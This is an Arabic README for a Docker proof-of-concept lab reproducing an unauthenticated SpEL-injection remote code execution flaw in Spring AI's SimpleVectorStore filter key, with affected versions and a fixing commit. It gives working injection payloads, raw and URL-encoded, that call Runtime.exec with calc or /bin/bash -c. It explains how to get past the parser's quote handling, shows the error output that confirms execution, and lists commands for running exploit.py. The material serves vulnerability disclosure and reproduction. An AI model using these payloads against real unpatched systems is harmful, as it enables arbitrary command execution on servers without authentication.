
حقن SpEL عبر مفتاح فلتر غير مُهرَّب في SimpleVectorStore يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد
| Artifact | الإصدارات المتأثرة | الإصدار المُصلَح |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
ملاحظة: يستخدم هذا المشروع الإصدار الرسمي spring-ai-core:1.0.0 لإعادة إنتاج الثغرة.
الالتزام المُصلِح: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
تقوم طريقة SimpleVectorStore.similaritySearch() بتمرير اسم مفتاح الفلتر الذي يقدمه المستخدم كما هو إلى قالب SpEL، ويتم تقييمه بواسطة StandardEvaluationContext. نظرًا لأن StandardEvaluationContext يكشف عن واجهة برمجة تطبيقات انعكاس JVM الكاملة، يمكن للمهاجم حقن:
T(java.lang.Runtime).getRuntime().exec(...)
لإضافة مفتاح الفلتر لتنفيذ أوامر نظام التشغيل دون مصادقة.
استخدم الحمولة التالية، مع ملاحظة الحاجة إلى ترميز URL مرة واحدة
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
قم بتمرير الحمولة إلى معامل filterKey، وسيتم فتح الآلة الحاسبة بنجاح

طريقة الحقن البسيطة لا تعمل مباشرة — يجب التغلب على غرابتين في المحلل اللغوي:
إزالة علامات الاقتباس المفردة — المفتاح الذي يبدأ بعلامة اقتباس مفردة ' يُعتبر سلسلة مقتبسة؛ سيتم إزالة علامات الاقتباس الخارجية، مما يكسر الحمولة.
غلاف علامات الاقتباس المزدوجة — تغليف الحمولة بعلامات اقتباس مزدوجة "..." يؤدي إلى قيام المحلل اللغوي بإزالة علامات الاقتباس المزدوجة الخارجية، مما يُبقي تعبير SpEL الداخلي كقيمة مفتاح تُمرر إلى #metadata['<KEY>'].
مفتاح بيانات وصفية فارغ — استخدام #metadata[''] على جانبي التعبير المحقون (بدلاً من متغير غير معرّف) يتجنب أخطاء SpEL الخاصة بالمتغير غير المعروف مع الاستمرار في تشغيل exec().
التعبير المحسوب الناتج يكون بالشكل التالي:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
سيحتوي نص استجابة HTTP على خطأ SpEL في وقت التشغيل EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
يُثار هذا الخطأ بعد عودة exec()، مما يؤكد اكتمال تنفيذ الأمر على مستوى نظام التشغيل دون الحاجة إلى استدعاء خارجي.
pip install requests)# بناء وتشغيل الحاويات
docker compose up -d --build
# عرض السجلات
docker compose logs -f
# تثبيت التبعيات
pip install requests
# تشغيل الاستغلال (انتظار بدء التطبيق)
python3 exploit.py --wait
# أو تحديد الهدف
python3 exploit.py --target http://localhost:8082 --wait
| العلامة | القيمة الافتراضية | الوصف |
|---|---|---|
--target | http://localhost:8082 | عنوان URL الأساسي للتطبيق الضعيف |
--wait | معطّل | الاستقصاء حتى يصبح الهدف جاهزًا (مفيد بعد docker compose up) |
ملاحظة: يستخدم Docker Desktop (macOS/Windows) host.docker.internal لعمليات الاستدعاء، وحمولة 127.0.0.1 صالحة.
يتكون تدفق إثبات المفهوم من خمس خطوات متتالية:
java.version من T(java.lang.System)touch /tmp/pwned_cve_2026_22738 داخل الحاويةid // uname // hostname إلى /tmp/rce_proof.txtdocker exec للتحقق├── Dockerfile # ملف بناء Docker
├── docker-compose.yml # تكوين Docker Compose
├── pom.xml # تكوين مشروع Maven
├── settings.xml # إعدادات Maven (تتضمن مستودعات Spring)
├── exploit.py # سكربت الاستغلال
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # الفئة الرئيسية لـ Spring Boot
├── VulnController.java # وحدة التحكم الضعيفة
├── VectorStoreConfig.java # تكوين VectorStore
└── DummyEmbeddingModel.java # نموذج Embedding محاكى
# تجميع المشروع
mvn clean package -DskipTests
# تشغيل التطبيق
java -jar target/spel-rce-lab-1.0.0.jar
# تشغيل الاستغلال في طرفية أخرى
python3 exploit.py --target http://localhost:8082